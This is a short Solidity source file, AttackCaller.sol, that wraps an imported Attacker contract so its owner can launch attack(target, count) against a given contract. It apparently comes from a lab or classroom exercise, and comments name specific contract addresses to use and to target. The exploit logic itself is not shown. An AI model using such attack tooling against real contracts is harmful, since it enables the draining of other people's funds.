AttackCaller.sol 638 B

12345678910111213141516171819202122
  1. pragma solidity ^0.4.18;
  2. import './Attacker.sol';
  3. import './Ownable.sol';
  4. contract AttackCaller is Ownable{
  5. Attacker attacker;
  6. //use the attacker from Meng, address is 0x960d1aa9b4e79b8e4fcf4e6853976cfa0b32697f
  7. function init(address attackerAddress) public onlyOwner{
  8. attacker = Attacker(attackerAddress);
  9. }
  10. //attack the contract from Dong, address is 0x2260d6b770afdc7695b7f000150bc2e9167d4241
  11. function onAttack(address target, uint count) public onlyOwner{
  12. attacker.attack(target,count);
  13. }
  14. function getBalance() public returns (uint) {
  15. return attacker.getBalance();
  16. }
  17. }